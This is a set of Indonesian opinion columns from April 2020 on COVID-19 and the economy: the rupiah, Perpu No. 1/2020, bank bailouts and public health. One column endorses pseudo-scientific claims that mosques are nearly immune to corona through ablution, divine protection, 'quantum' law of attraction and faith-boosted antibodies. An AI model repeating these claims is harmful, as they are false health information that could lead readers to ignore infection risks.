juga harga gas dan harga bahan bakar lainnya. Kesempatan ini merupakan momentum penting dan berharga bagi PLN dalam menekan harga energi primer. Segera melakukan renegosiasi harga dengan pembangkit independent power producer (IPP). Pada tingkat harga jual listrik sekarang ini akan menghasilkan keuntungan berkali kali lipat bagi BUMN jika tidak ada perubahan harga jual dalam negeri. Bagaimana dengan perusahaan swasta? Banyak yang diuntungkan oleh pelemahan harga minyak global. Perusahan swasta di Indonesia dapat melalukan impor solar dengan harga yang sangat murah untuk menunjang kegiatan produksi mereka. Mereka dapat memproduksi listrik untuk kebutuhan sendiri dengan harga yang jauh lebih murah dibandingkan sebelumnya. Demikian juga dengan harga bahan baku bagi industri lainnya, seperti bahan baku industri dasar besi, baja, plastik dan lain sebagainya, yang harganya juga jatuh. Terus bagaimana dengan nasib perbankkan dan sektor keuangan? Ini juga menjadi oportunity tersendiri yang baik. Sebab di saat masyarakat dalam keadaan kesulitan uang, maka bank bisa panen besar. Permintaan kredit konsumsi akan meningkat tajam dalam jangka pendek. Semua ini bisa terjadi, karena masyarakat kesulitan uang untuk memenuhi kebutuhan hidup sehari-hari. Demikian juga dengan lembaga keuangan seperti asuransi yang juga akan makin rame peminat di tengah keresahan sosial yang luas akibat krisis dan wabah belakangan ini. Tata Kelola Pemerintah Buruk Jadi, tidak seperti asumsi dan prediksi pemerintah bahwa akibat pandemic wabah Covid-19 ini, akan terjadi krisis keuangan dan perbankan, sehingga perlu dikeluarkan Perpu No 1 Tahun 2020, yang berkaitan dengan darurat sektor keuangan dan perbankan. Perlu disiapkan skema dana talangan untuk bank dan sektor swasta yang akan kolaps nanti. Logika semacam itu sangat tidak berlandaskan pada fakta-fakta yang sebenarnya terjadi. Sampai hari belum ada Stress Test tentang bank. Belum juga ada bank yang menyatakan keadaan keuangannya memburuk akibat dari pandemic Covid-19, sehingga membutuhkan dana talangan. Keadaan sektor keuangan yang memburuk memang bukan karena pandemic Covid-19. Sama dengan kondisi APBN yang juga memburuk, bukan akibat Covid-19. Resesi sektor keuangan dan bangkrutnya APBN 2020 belakangan ini dikarena tata kelola yang sangat buruk dari pemerintah. Sebagai gambaran, beban utang yang ditumpuk sangat besar oleh APBN dan sektor keuangan. Begitu pula dengan penggunaan dana publik yang besar oleh pemerintah dalam mega proyek infrastruktur. Ada juga masalah lain seperti pengelolaan yang tidak akuntable, dan maraknya korupsi. Sehingga momentum wabah Covid-19, justru menjadi kesempatan emas bagi penyelenggara negara dan BUMN untuk introspeksi dan melakukan banyak pembenahan. Kalau mau, wabah Covid-19 yang tengah melanda dunia ini merupakan momentum untuk membenahi tata kelola ekonomi Indonesia. Segera membenahi tata kelola yang buruk selama ini. Kalau tidak sanggup untuk membenahi secara mendasar sistem ekonomi dan keuangan Indonesia, mendingan lempar handuk saja. Kasih kesempatan untuk anak-anak bangsa lain melakukan pembenahan. Bagaimana caranya? Sangat udah, dan gampang sekali. Tinggal mau atau tidak saja. Cara yang paling mudah dan gampang adalah dengan mengurangi ketergantungan pada impor. Segera bangkitkan dan hidupkan kemampuan industri nasional. Juga mengurangi ketergantungan pada utang. Sehingga momentum ini menjadi kesempatan emas untuk bangsa ini berdikari di bidang ekonomi. Kebetulan sekali pekan ini merupakan musim panen padi. Tugas pemerintah adalah bagaimana memastikan rakyat bisa berbelanja. Kalau lapangan kerja masih kurang, maka pemerintah bisa kasih uang ke rakyat agar bisa berbelanja. Bisa langsung, bisa juga tidak langsung. Karena 57-60 persen GDP Indonesia sumbangan atau kontribusi dari konsumsi. Pelemahan konsumsi masyarakat inilah yang sangat terasa dan makin memburuk dalam lima tahun terakhir. Jadi, ekonomi Indonesia memburuk bukan karena dampak dari pandemic virus Covid-19. Namun karena salah kelola dari pemerintah yang membuat ekonomi Indonesia sudah memburuk sejak awal. Buruk sebelum datangnya Covid-19 awal Januari 2020 lalu. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI)

Anies Baswedan, Pemicu Penguatan Kurs Rupiah?

Oleh: Tjahja Gunawan Jakarta, FNN - Adalah Gubernur Bank Indonesia (BI) Perry Warjiyo yang menyebutkan bahwa rupiah bergerak stabil dan menguat setelah Gubernur DKI Jakarta Anies Baswedan mengumumkan tentang Pembatasan Sosial Berskala Besar (PSBB). "Pak Gubernur DKI Pak Anies Baswedan mengumumkan terkait PSBB, berbagai kondisi ini membawa kepercayaan di pasar. Ini yang kemudian saya sampaikan bahwa rupiah bergerak cenderung stabil dan menguat," ungkap Gubernur BI Perry Warjiyo dalam video conference, Kamis (9/4), sebagaimana dikutip CNN Indonesia.com. Pernyataan Gubernur BI ini tentu bukan ucapan kaleng-kaleng. Pernyataan ini niscaya didukung data empirik dari pasar uang (money market). Sebagai otoritas moneter, Gubernur BI tentu selalu mendapat laporan rutin dari bawahannya yang menangani bidang treasury. Pejabat BI di bagian treasury inilah yang bertugas memantau pergerakan mata uang dunia dan sesekali melakukan Operasi Pasar Uang Terbatas atau intervensi ke pasar. Dalam perdagangan di money market, pergerakan kurs mata uang selain ditentukan hukum ekonomi permintaan dan penawaran, juga dipengaruhi oleh sentimen baik dari dalam maupun luar negeri. Dalam kasus penguatan rupiah sebagaimana diutarakan Gubernur BI, maka stabilitas rupiah kali ini lebih disebabkan faktor sentimen yakni kebijakan penerapan PSBB di wilayah DKI Jakarta. Kebijakan tersebut telah membuat market confident. Para pelaku pasar memiliki persepsi bahwa kalau PSBB di DKI Jakarta bisa diikuti daerah lainnya, akan memberikan sentimen positif lebih banyak ke pasar. Sebab, hal itu akan mengurangi dampak negatif terhadap sektor keuangan. Pada hari Kamis 9 April 2020, atau sehari sebelum diberlakukan PSBB di Jakarta, kurs tengah USD-Rupiah berada di posisi Rp 16.241 per USD. Gubernur BI merasa percaya diri rupiah akan mengarah ke Rp15 ribu per dollar AS pada akhir tahun 2020 nanti. Seperti kita ketahui bersama, pada bulan Maret lalu kurs rupiah bergerak volatile. Bahkan sempat bertengger di level Rp16.500 per dolar AS. Karenanya wajar jika waktu itu BI meningkatkan intervensi di pasar uang untuk menstabilkan nilai tukar rupiah terhadap dolar AS. Bahkan BI telah menggelontorkan likuiditas hampir Rp 300 triliun. Namun langkah BI ini dianggap seperti menggarami lautan karena tidak didukung oleh kebijakan fiskal yang tepat. Kebijakan fiskal ini merupakan domain pemerintah pusat dalam hal ini Kementerian Keuangan. Ada hal menarik jika kita mengamati respon pasar keuangan terhadap kebijakan pemerintah dalam mengatasi wabah Covid 19. Pelaku pasar langsung memberi respon positif ketika Gubernur DKI Anies Baswedan mengumumkan akan menerapkan kebijakan PSBB. Sebaliknya ketika pemerintah pusat melalui Presiden Joko Widodo, mengumumkan tentang stimulus ekonomi dalam bentuk Peraturan pemerintah pengganti undang-undang (Perppu) terkait penanganan wabah Covid 19, pasar keuangan tidak memberikan respon yang luar biasa. Reaksinya biasa-biasa saja. Ketika saya dulu masih berkutat di lapangan menulis dari lapangan seputar laporan bidang keuangan dan moneter, para pelaku pasar baik di capital market maupun money market, bisa "menghukum" otoritas moneter maupun fiskal jika kebijakannya tidak kredibel. Mereka yang berkutat di pasar keuangan, umumnya sudah mengetahui fundamental keuangan ekonomi Indonesia. Jadi kalau ada para pejabat yang berbohong atau membuat kebijakan yang tidak tepat terutama dalam menghadapi situasi krisis seperti sekarang, para investor di financial market biasanya akan segera mengamankan aset mereka dengan menjual saham atau memborong dollar AS. Di sejumlah negara maju, para pejabat yang memiliki otoritas di bidang keuangan dan moneter, umumnya lebih hati-hati dalam membuat pernyataan. Bahkan pada zamannya, Gubernur Bank Sentral Amerika Serikat (The Fed) Alan Greenspan, merupakan sosok otoritas moneter yang sangat kredibel. Dia batuk sedikit saja, harga saham dunia maupun kurs mata uang bisa ikut terguncang. Sementara pejabat di Indonesia, sering serampangan dalam membuat pernyataan. Misalnya, Menteri BUMN Erick Thohir yang beberapa hari lalu membuat pernyataan yang menyebutkan bahwa dalam situasi terburuk rupiah bisa mencapai Rp 20.000 per dollar AS. Erick Thohir mengatakan, kondisi perekonomian Indonesia sangat terdampak dengan mewabahnya virus corona. Selain pertumbuhan ekonomi yang melemah, lanjut Erick, nilai tukar rupiah juga bisa tergerus karena efek corona. Bahkan, dalam skenario sangat berat, nilai tukar rupiah bisa mencapai Rp 20.000. “Nilai tukar (rupiah) melemah menjadi Rp17.500, sangat berat Rp 20.000,” kata Erick sebagaimana dikutip Kompas.com. Pernyataan Menteri BUMN ini secara tidak langsung bisa mendorong masyarakat untuk memborong dollar AS. Sebagai pejabat negara, Menteri BUMN Erick Thohir seharusnya bisa ikut meredakan keadaan dan mengurangi kecemasan masyarakat terutama para pengusaha serta para investor. Bukan malah menambah rasa khawatir di masyarakat. Oleh karena itu wajar kalau kemudian ada sementara kalangan yang menuduh Erick Thohir ikut bermain dan berdagang mata uang asing karena dengan sengaja dia telah membuat pernyataan kurs rupiah bisa mencapai Rp 20.000/dollar AS. Tuduhan itu menjadi relevan jika dikaitkan dengan latar belakang Menteri BUMN sebagai seorang pengusaha. Alih-alih menyumbangkan sebagian kekayaannya untuk membantu penanganan wabah Covid19 atau membantu masyarakat yang terdampak Virus Corona, Menteri BUMN Erick Thohir justru berusaha mengail di air keruh. Begitulah kalau pengusaha menjadi penguasa. Semoga orang-orang yang hendak memanfaatkan derita masyarakat akibat wabah ini bisa dicegah melalui instrumen kebijakan pemerintah yang kredibel seperti kebijakan Pemda DKI Jakarta dalam penerapan PSBB. Wallahu a'lam bhisawab. Penulis Wartawan Senior.

Anda Terinfeksi Covid-19?

Riset gabungan dari sejumlah universitas dalam dan luar negeri mengungkapkan bahwa data yang dimiliki Satgas itu hanya 2,3% dari jumlah kasus yang sesungguhnya. Jakarta misalnya, diprediksi ada 32.000 warga yang sudah terinfeksi virus Covid-19. Mungkin diantaranya termasuk anda. Ini bukan untuk menakut-nakuti. Hanya untuk menyadarkan anda saja. By ony Rosyid Jakartra FNN – Minggu (11/04). Pek... Pek... Pek... Jatuh dan mati. Sebagian dari yang mati itu, ada di jalanan. Puluhan kasus kematian ala covid-19 yang sempat divideokan warga masyarakat, persis seperti yang saya prediksi dalam lima tulisan di awal. Lima tulisan yang semuanya dimuat di Portal Berita FNN.co.id tersebut, Judulnya: "Telat Lock Down, Apakah Indonesia Akan Seperti Itali?" (17/3), "Satu Persatu Mati Di Jakarta, Siapa Yang Salah?" (20/3), Stop! Jangan Jadi Agen Covid-19" (22/3), "Siapa Yang Tahan, Dialah Yang Hidup" (23/3), "Murahnya Nyawa Di Negeri Ini" (25/3). Semoga saja anda tidak termasuk. Tapi, apakah ada jaminan bahwa anda tidak terinveksi Covid-19? Belum tentu juga. Mereka yang meninggal di jalanan, tidak tahu kalau mereka terinveksi. Ada juga yang baru sampai di depan meja pendaftaran rumah sakit, pek... mati. Ada yang baru masuk ruangan, mati juga. Sebagian lagi ada yang sudah ditest Swab, mati sebelum hasil testnya keluar. Sebagian belum ditest sudah keburu meninggal duluan. Lebih dari 400 warga Jakarta meninggal dikubur ala covid-19. Mereka dikubur tanpa diantar oleh keluarga dan tetangga. Sementara data yang terpublis oleh Satgas Nasional hanya sebanyak 155 dari total kasus 1.719 orang di DKI Jakarta. Dari fakta-fakta ini menyimpulkan bahwa data yang dipunyai Satgas "belum akurat” . Dan itu telah diakui oleh Satgas sendiri. Sedang dalam proses upaya mendekatkan data itu ke angka yang sesuai dengan fakta sebenarnya. Apakah Satgas dan Pemerintah Pusat sengaja memanipulasi data? Jangan buru-buru menuduh dulu. Keterlambatan mengantisipasi penyebaran covid-19 dan keterbatasan alat test menjadi faktor utamanya. Mari kita Support Satgas dan pemerintah untuk bekerja lebih optimal lagi. Jadi jelas, antara fakta dan laporan data tidak singkron. Artinya, warga yang positif Covid-19 diprediksi angkanya bisa berlipat, dan jauh lebih besar dari data yang diumumkan pemerintah. Riset gabungan dari sejumlah universitas dalam dan luar negeri mengungkapkan bahwa data yang dimiliki Satgas itu hanya 2,3% dari jumlah kasus yang sesungguhnya. Jakarta misalnya, diprediksi ada 32.000 warga yang sudah terinfeksi Covid-19. Mungkin diantaranya termasuk anda. Ini bukan untuk menakut-nakuti. Hanya untuk menyadarkan anda saja. Semoga saja tidak. Pasti itu menjadi do’a anda. Do’a saya juga. Do’a semua orang tentunya. Namun jangan lupa do’akan orang tua anda. Juga orang-orang terdekat anda. Sebut juga nama negara dan bangsa yang sedang berduka ini. Faktanya, kita juga nggak tahu, apakah terinfeksi atau tidak? Kenapa? Karena seseorang yang terinfeksi Covid-19 mayoritas tidak bergejala. Panas, batuk dan sesak napas nggak ngalami. Hidung masih tetap normal. Masih bisa mencium bau rending dan bau yang lain. Mungkin sesekali ada masalah, tapi nggak dirasa. Sebab, imun anda masih bagus. Mengingat kita nggak tahu bagaimana keadaan kita, terinfeksi atau tidak, maka sebaiknya ikut saja SOP-Covid-19 yang berlaku. Ada tiga langkah untuk menghadapi situasi sekarang. Ini sesuai dengan anjuran pemerintah dan saran dokter. Patuhi aja dulu. Jangan melawan. Pertama, jaga kesehatan. Tingkatkan imun dengan istirahat yang cukup, mau dan rajin beolahraga, minum vitamin dan makan makanan yang bergizi. Bergizi itu tidak harus yang mahal. Telur, kacang dan bayem itu sudah bergizi. Begitulah kata dokter. Kedua, isolasi diri di dalam rumah. Jangan kemana-mana. Bahasa kerennya stay at home. Kumpul dengan keluarga, baca buku, dengerin you tube untuk nambah pengetahuan. Sesekali tonton hiburan. Jika merasa nyaman kumpul dengan keluarga dan menikmati aktifitas produktif di rumah, daya tahan tubuh akan meningkat. Sebab, ia bahagia. Kalau punya bini dua, tiga atau empat yang tinggal di tempat yang berbeda? Ah itu no comment. Karena saya belum berpengalaman. Ketiga, social distancing. Jaga jarak ketika anda harus sesekali keluar rumah. Belanja kebutuhan, urus bisnis sembako, atau hal sangat urgent lainnya. Ini memang tidak bisa dihindari. Karena, tak semuanya bisa dibeli secara online. Jangan lupa juga pakai masker kalau keluar rumah untuk keperluan yang mendesak dan sangat penting. Gubernur Jakarta mengharuskan warganya pakai masker ketika berada di luar rumah. Sebab, saat bicara, seseorang bisa saja menerbangkan virus hingga 1,5 meter. Bukan hanya saat bersin dan batuk. Ini memang ada penelitiannya. Tiga langkah ini perlu dilakukan. Harus disiplin yang sangat ketat. Sayang nyawa, sayang anak dan sayang pasangan hidup. Ikhtiar sudah kita lakukan, setelah itu, do’a dan serahkan kepada Yang Maha Kuasa. Dialah Allaah SWT yang menggenggam takdir kehidupan kita. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Masjid: Tempat Ibadah yang Minim Resiko Terjangkit Corona

Oleh Mochamad Toha Jakarta, FNN - Fakta jejak digital. Okezone.com, Kamis (02 April 2020 13:05 WIB) membuat judul berita, “144 Jamaah yang Dikarantina di Masjid Kebon Jeruk Negatif Corona”. Saya tegaskan, itu bukan hoax! Catat! Itu fakta yang diberitakan dari sumber resmi! Tim kesehatan dari Pemkot Jakarta Barat sudah melakukan pemeriksaan pendeteksi virus atau rapid test kedua terhadap 144 jamaah yang dikarantina di Masjid Jami Kebon Jeruk, Tamansari. Hasilnya, mereka dinyatakan negatif virus Covid-19. Wali Kota Jakarta Barat Rustam Effendi mengatakan, karena hasilnya negatif terpapar virus corona, maka status ke 144 jamaah masih sebagai orang dalam pemantauan (ODP). “Masih ODP. Hari ini di-rapid test yang kedua,” kata Rustam kepada wartawan, Kamis (2/4/2020). Para jamaah itu dikarantina di Masjid Jami Kebon Jeruk, karena sebelumnya ada beberapa di antaranya diketahui terkena corona dan sudah dirawat di rumah sakit. Rustam mengatakan, setiap harinya petugas dari Puskesmas dari Kelurahan Tamansari selalu mengecek kesehatan terhadap para jamaah yang masih dikarantina dalam masjid tersebut. Sejauh ini kondisi mereka sehat. “Semua sudah ditangani, sehat-sehat,” lanjut Rustam. Pemkot Jakbar juga terus memasok kebutuhan makanan kepada para jamaah pada pagi, siang dan malam. Bantuan juga datang dari beberapa lembaga. Melihat faktanya, masih akan terus “melarang” umat Islam datang ke masjid dengan dalih untuk mencegah penyebaran Virus Corona? Masih mau ngikut seruan Ketua Umum PBNU Said Aqil Siradj (SAS) agar “menjauhi” masjid dan shalat di rumah terus? Seperti ditulis Duta.co, Senin (6 April 2020), warga nahdliyin tengah “berdebat” soal ajakan Ketua Umum PBNU, sekaligus Ketua Lembaga Persahabatan Ormas Islam (LPOI) SAS agar umat Islam melakukan shalat Jum’at, Tarawih, dan Idul Fitri 1441 H, di rumah. Ajakan itu, sampai Senin (6/4/2020), masih beredar viral melalui potongan video pendek TvOne dan 164 channel milik LTN PBNU. Isinya dianggap bertentangan dengan keputusan Lembaga Bahtsul Masail Pengurus Besar Nahdlatul Ulama (LBM PBNU). “Menghimbau kepada umat muslim, agar melaksanakan ibadah shalat Jumat, shalat Tarawih, Idul Fitri tahun 1441 Hijriyah di rumah masing-masing, serta tidak melaksanakan kegiatan takbir keliling, buka bersama, silaturrahim,” ujarnya. “Demikian pula kepada umat non-muslim untuk melaksanakan ibadah di rumah masing-masing, agar dapat mengurangi potensi penyebaran virus covid-19,” demikian kata SAS melalui channel 164 milik LTN NU yang terekam Duta.co. Keterangan pers SAS itu telah menantik keraguan warga nahdliyin. Di sejumlah media sosial, warga NU terus membahasnya, apalagi sebagian dari mereka sedang sibuk mensosialisasikan keputusan LBM PBNU. “Memang berlawanan. Bagaimana mungkin puasa saja belum, tiba-tiba shalat Idul Fitri ditiadakan. Sementara, hasil bahtsul masail kiai-kiai di PBNU, tidak seperti itu. Lebih pada kondisi atau kondisional,” ujar Sekjen Komite Khitthah NU 1926, KH Agus Solachul Aam Wahib kepada Duta.co. Menurut Gus Aam, kebingungan warga NU itu wajar, karena keputusan Lembaga Bahtsul Masail (LBM) jelas bahwa bagi umat Islam yang berada di zona kuning virus Corona, dan penularan corona masih dalam batas potensial-antisipatif, maka virus Corona tidak menjadi larangan, melainkan hanya menjadi uzur shalat berjamaah dan shalat Jum’at. “Jadi melihat kondisi yang ada. Tidak bisa digebyah-uyah. Nah, menjadi tugas pemerintah untuk menjelaskan mana zona merah, mana zona kuning, dan mana yang masih hijau?” ujar Gus Aam. “Sebab, logika umat itu sederhana, kalau jamaah ke masjid dilarang, mengapa orang ke pasar dibiarkan? Bukankah Masjid itu lebih tertib ketimbang pasar?” tanya Gus Aam. Steril Corona Ada tulisan Hamka Suyana, Motivator Ilmu Manajemen Sasyuik (sabar-syukur-ikhlas), soal penutupan masjid gara-gara wabah corona masih viral dan jadi bahan pembicaraan. Masing-masing beradu dalil sebagai dasar argumentasi. Pihak yang pro penutupan masjid beralasan untuk berjaga-jaga dan waspada, tak ingin masjid menjadi pusat penyebaran virus corona. Sebaliknya, bagi yang kontra menentang penutupan masjid karena alasan ibadah. Hamka Suyana cuma ingin mengungkapkan pemikiran yg saat ini jarang sekali dibahas yaitu: “Benarkah masjid menjadi tempat Rawan untuk penularan Covid-19? Atau justru sebaliknya? Masjid menjadi tempat Paling Aman untuk penularan Covid-19?” “Saya yakin seyakin-seyakinnya bahwa masjid menjadi Tempat Paling Aman bagi penularan. Keyakinan saya ada dasarnya dan sangat mendasar,” tulisnya. Masjid disebut Rumah Allah. Orang yang ke masjid untuk beribadah itu disebut tamu Allah. Logikanya, sang tamu akan dijaga, diawasi, dilindungi oleh Sang Pemilik Rumah. Mustahil seorang tamu yang sedang bertamu ke rumah Allah dibiarkan celaka akibat serangan corona. Sang Pemilik Rumah Maha Tahu dan Maha Mengatur makhlukNya yang super nano bernama corona. Bagi Sang Pemilik Rumah tentu sangat mudah untuk memerintah atau menahan virus corona agar tidak masuk Rumah Allah. Hal itu tentu sangat mudah bagi Allah. Lagi pula, mustahil Allah membiarkan para hamba yang menyembah kepadaNya di Rumah Allah celaka terpapar corona. Apabila bernalar menggunakan logika iman, pasti meyakini hal itu, tidak mungkin hal itu terjadi. Lalu mengapa harus khawatir akan terpapar corona? Itu sama artinya, sadar atau tidak, telah mencurigai Sang Pemilik Rumah tidak mampu melindungi dan memberi rasa aman kepada para tamunya. Tata tertib masuk Rumah Allah menjadikan virus corona sulit masuk masjid. Tata tertibnya demikian: Sebelum masuk masjid, para tamu Allah pasti sudah dalam kondisi berwudhu. Itu artinya, andaikata ada virus yang menempel pada anggota badan yang harus diwudhui, niscaya si virus sudah hanyut terbawa limbah air wudhu. Misal ada yang bertanya demikian. Bagamaina jika ada tamu Allah yang sudah terpapar corona ikut shalat berjamaah? Janji Allah sesuai dalam surah Ath.Thalaq 2-3 pasti ditepati: “Barangsiapa bertakwa kepada Allah niscaya Dia akan membukakan jalan keluar baginya dan memberinya rezki dari arah yang tidak disangka-sangkanya.” Janji Allah ini pasti ditepati untuk memberi jalan keluar dan memberi rezeki yang tidak disangka-sangkanya berupa Kesehatan bagi hambaNya yang barangkali sudah terpapar corona. Ada rahasia meluruskan dan merapatkan barisan saat shalat jamaah. Setiap perintah ibadah selain mengandung pahala, pasti ada rahasia kemanfaatan dalam kehidupan. Shaf yang lurus dan rapat serta khusyuk pada masing-masing jamaah akan terjadi interaksi gelombang elektromagnetik ilahiyah yang panjang gelombangnya sangat pendek dan saling mengait kemudian saling menguatkan untuk memberi penguatan pada hati para jamaah. Dampaknya, para jamaah akan merasakan ketenteraman dan tidak menutup kemungkinan akan muncul energi biolistrik yang akan menjadi obat penyembuh. Rumah Allah yang senantiasa dimakmurkan dengan shalat berjamaah, dalam perlindungan Allah dari amukan bencana. Menurut teori fisika kuantum ada yang disebut Hukum Tarik-Menarik (LOA) menyatakan, “Sesuatu akan menarik pada dirinya segala hal yang satu sifat dengannya.” Penjelasannya, bila ada yang takut terjangkit virus corona dan ketakutan itu sudah memasuki alam bawah sadarnya, maka meski dia sudah menggunakan SOP pencegahan virus corona, pada suatu saat ketika tiba limit waktu detik lengah si dia pasti akan terpapar juga. Sebaliknya, bila Anda datang ke masjid merasa berada di tempat paling aman dan haqul yakin, Allah pasti melindungi, maka hukum LOA akan berlaku. Andaikata Anda berada di episentrum corona, yakinlah Covid-19 tak akan mencelakai Anda. Sebab, pada saat keyakinan hati mencapai kadar maksimal, hormon, endorfeen, dan serotonin diproduksi lebih banyak dari otak yang bermanfaat untuk memperbanyak dan memperkuat antibodi makrofag dan mikrofag. Antibodi inilah yang akan memakan virus yang masuk ke tubuh, termasuk virus Corona! Ini buktinya: Sebanyak 144 Jamaah yang Dikarantina di Masjid Kebon Jeruk Negatif Corona. *** Penulis Wartawan Senior.

Perpu Corona Untuk Selamatkan Lembaga Keuangan Busuk

Menghadapi pandemic Covid-19, pemerintah maIahirkan Perpu No.1 tahun 2020. Isinya hanya tentang “uang, utang dan penyelamatan oligarki keuangan yang telah membusuk. Tragisnya, di dalam Perpu ini tidak ada kata-kata rumah sakit, obat, dan dokter" yang hampir mencapai 30 orang meninggal dunia, dan mencapai rekor tertinggi di dunia. By Salamuddin Daeng Jakarta FNN – Kamis 909/04). Secepat kilat pemerintah menetapkan keadaan Indonesia darurat. Dalam kondisi kegentingan memaksa, sehingga kuat alasan bagi pemerintah mengeluarkan Perpu yang mengomnibus law sejumlah undang-undang. Diantaranya, UU APBN, UU keuangan Negara, UU OJK, UU BI, UU LPS, dan berbagai UU Perpajakan serta UU Keuangan lainya. Apa isi Perpu Nomor 1 Tahun 2020? Tentang Kebijakan Keuangan Negara Dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Wrus Desease 2019 (Covtd- 19) Dan/Atau Dalam Rangka Menghadapi Ancaman Yang Membahayakan Perekonomian Nasional Dan/Atau Stabilitas Sistem Keuangan. Semua tentang uang, uang dan uang. Meskipun judul Perpu ini panjang lebar, namun sama sekali tidak membicarakan tentang bagimana menyelamatkan nyawa dan ekonomi bangsa dari corona. Namun bangaimana momentum corona menjadi legitimasi untuk menyelamatkan lembaga keuangan terutama perbankkan. Padahal korban korona terus berjatuhan dan penderita meningkat secara cepat. Perpu No 1 tahun 2020 hanya bicara uang dan kekuasaan para pemegang jabatan keuangan dan fiskal. Bayangkan dalam Perpu ini, ada 51 kata pajak dengan muatan stimulus dan keringanan pajak. Juga ada 13 kata menteri keuangan berkait dengan kekuasaan dan keweanganya dalam keadaan darurat. Ada juga 24 kata KSSK yang juga diketuai oleh Menteri Keuangan. Ada 17 kata sistemik yang merujuk pada kegagalan sistemik sentor keuangan khususnya perbankkan. Ada 14 kata utang dengan muatan rencana pemrintah mengambil utang. Patut diingat, hanya ada satu kata gugat. Itu pun ke Tata Usaha Negara. Artinya, kebijakan apapun tidak dapat digugat pidana, perdata dan Tata Usaha Negara. Lalu apa yang tidak ada dalam Perpu No. 1 ini? Tidak ada kata pangan, yang akan menjadi masalah besar selama wabah ini berlangsung. Tidak ada kata Bahan Bakar Minyak dan Gas LPG yang akan makin berat dibeli oleh masyarakat pada saat bencana ini berlangsung. Padahal harga gas seharusnya turun. Tidak juga ada kata listrik yang akan makin sulit dibayar oleh rakyat selama wabah berlangsung. Jadi kebutuhan pokok dan kebutuhan dasar rakyat sama sekali tidak dianggap sebagai masalah prioritas akibat Covid-19. Bahkan di dalam Perpu ini tidak ada kata rumah sakit, tidak ada kata obat, dan tidak ada dokter yang hampir mencapai puluhan orang meninggal dunia. Angka ini mencapai rekor tertinggi di dunia. Lalu apa logika Perpu No 1 Tahun 2020 ? Sangat bahaya. Lalu apa isi Perpu No 1 Tahun 2020 ? Berikut ulasannya : Bikin Utang Tanpa Batas Pemerintah seperti ketiban durian runtuh? Wabah korona menjadi alasan untuk berutang besar besaran. Batas utang yang diatur dalam UU Keuangan negara sebesar maksimal 3% GDP dihapuskan. Pemerintah dapat mengambil utang tanpa batas selama tiga tahun ke depan. Utang tanpa batas ini termaktub dalam Pasal 2 ayat (1). Dalam rangka pelaksanaan kebijakan keuangan negara sebagaimana dimaksud dalam Pasal 1 ayat (4), Pemerintah berwenang untuk menetapkan batasan defisit anggaran, dengan ketentuan sebagai berikut. Point 1, defisit APBN melampaui 3% dari Produk Domestik Bruto (PDB) selama masa penanganan Corona Virus Disease 2019 (COVID-19) dan/atau untuk menghadapi ancaman yang membahayakan perekonomian nasional dan/atau stabilitas sistem keuangan paling lama sampai dengan berakhirnya Tahun Anggaran 2022. Point 2, sejak Tahun Anggaran 2023 besaran defisit akan kembali menjadi paling tinggi sebesar 3% dari Produk Domestik Bruto (PDB). Point 3, penyesuaian besaran defisit sebagaimana dimaksud pada point 1 menjadi sebagaimana dimaksud pada angka point 2, dilakukan secara bertahap. Luar biasa ya ? mau menabrak UU keuangan negara yang selama reformasi menjadi acuan pemerintahan sebelumnya. Rekayasa Surat Utang Negara? Selanjutnya tiga ketentuan lebih lanjut mengenai skema dan mekanisme pembelian Surat Utang Negara dan/atau Surat Berharga Syariah Negara di pasar perdana pada ayat (1) diatur bersama antara Menteri Keuangan dan Gubernur Bank Indonesia, dengan mempertimbangkan kondisi pasar Surat Utang Negara dan/atau Surat Berharga Syariah Negara, pengaruh terhadap inflasi, dan jenis Surat Utang Negara dan/atau Surat Berharga Syariah Negara. Jadi pemerintah mau menjual obligasi, dengan meminta BI untuk membelinya, namun dengan harga yang diatur menurut maunya keduanya. Misalnya, bunga diantur menurut maunya keduanya saja. Padahal kenyataan di lapangan membuktikan lain . Kenyataan di lapangan, bukankah obligasi pemerintah Indonesia sedang ambruk, tidak laku, tidak diminati? Karena depresiasi mata uang rupiah yang tinggi, pertumbuhan ekonomi yang stagnan, daya beli masyarakat yang merosot, serta penerimaan pajak yang amblas. Jadi, mana ada harganya surat utang pemerintah Indonesia sekarang di mata dunia? Itulah mengapa ditetapkan polanya saling baku atur dengan BI semacam ini. APBN Untuk Subsidi Bank Begitu pemerintah dapat utang, maka segeralah mereka mengambil ancang ancang untuk mensubsidi bank. Inilah modus dari Perpu ini. Ini berbhaya. Bukankah lembaga lembaga keuangan dan bank berada dalam kondisi buruk dalam lima tahun terakhir? Alasannya , masih seperti dulu, bank itu berdampak sistemik. Dulu yang begini selalu berakhir dengan korupsi berjamaah. Bagaimana mensubsidi bank? Sebagaimana Pasal 18. Pertama, dalam hal bank sistemik yang telah mendapatkan pinjaman likuiditas jangka pendek sebagaimana dimaksud dalam Pasal 7 ayat (1) masih mengalami kesulitan likuiditas, maka bank sistemik dapat mengajukan permohonan Pinjaman Likuiditas Khusus (PLK) kepada Bank Indonesia. Kedua, terhadap permohonan Bank Sistemik sebagaimana dimaksud pada ayat (1), Bank Indonesia berkoordinasi dengan Otoritas Jasa Keuangan meminta penyelenggaraan rapat KSSK. Ketiga, dalam rapat sebagaimana dimaksud pada ayat (2), KSSK membahas dan memutuskan pemberian Pinjaman Likuiditas Khusus (PLK) dengan mempertimbangkan penilaian oleh Otoritas Jasa Keuangan, yang berisi paling kurang informasi kondisi keuangan terkini bank sistemik yang bersangkutan. Selain itu, pemnberiam PLK juga atas rekomendasi Bank Indonesia dengan memperhatikan hasil penilaian yang dilakukan oleh Otoritas Jasa Keuangan. Ketentuan lebih lanjut mengenai skema dan mekanisme pemberian Pinjaman Likuiditas Khusus (PLK) diatur bersama antara Menteri Keuangan dan Gubernur Bank Indonesia. Uang LPS Sudah Raib? Mana Uang Lembaga Penjamin Simpanan Selama ini? Apakah dananya sudah habis? Kecurigaan ini sangat beralasan. Faktanya banyak dana-dana publik yang dikeruk masuk ke dalam Surat Utang Negara , seperti dana Haji, Taspen, Askes, dan Asabri. Mengapa LPS harus diberi uang oleh pemerintah? Sebagaimana disebutkan dalam Perpu mengenai kewenangan dan Pelaksanaan Kebijakan oleh Lembaga Penjamin Simpanan Pasal 20 ayat (1) untuk mendukung pelaksanaan kewenangan KSSK dalam rangka penanganan permasalahan stabilitas sistem keuangan. LPS diberikan kewenangan untukmelakukan persiapan penanganan dan peningkatan intensitas persiapan bersama dengan Otoritas Jasa Keuangan untuk penanganan permasalahan solvabilitas bank. LPS boleh 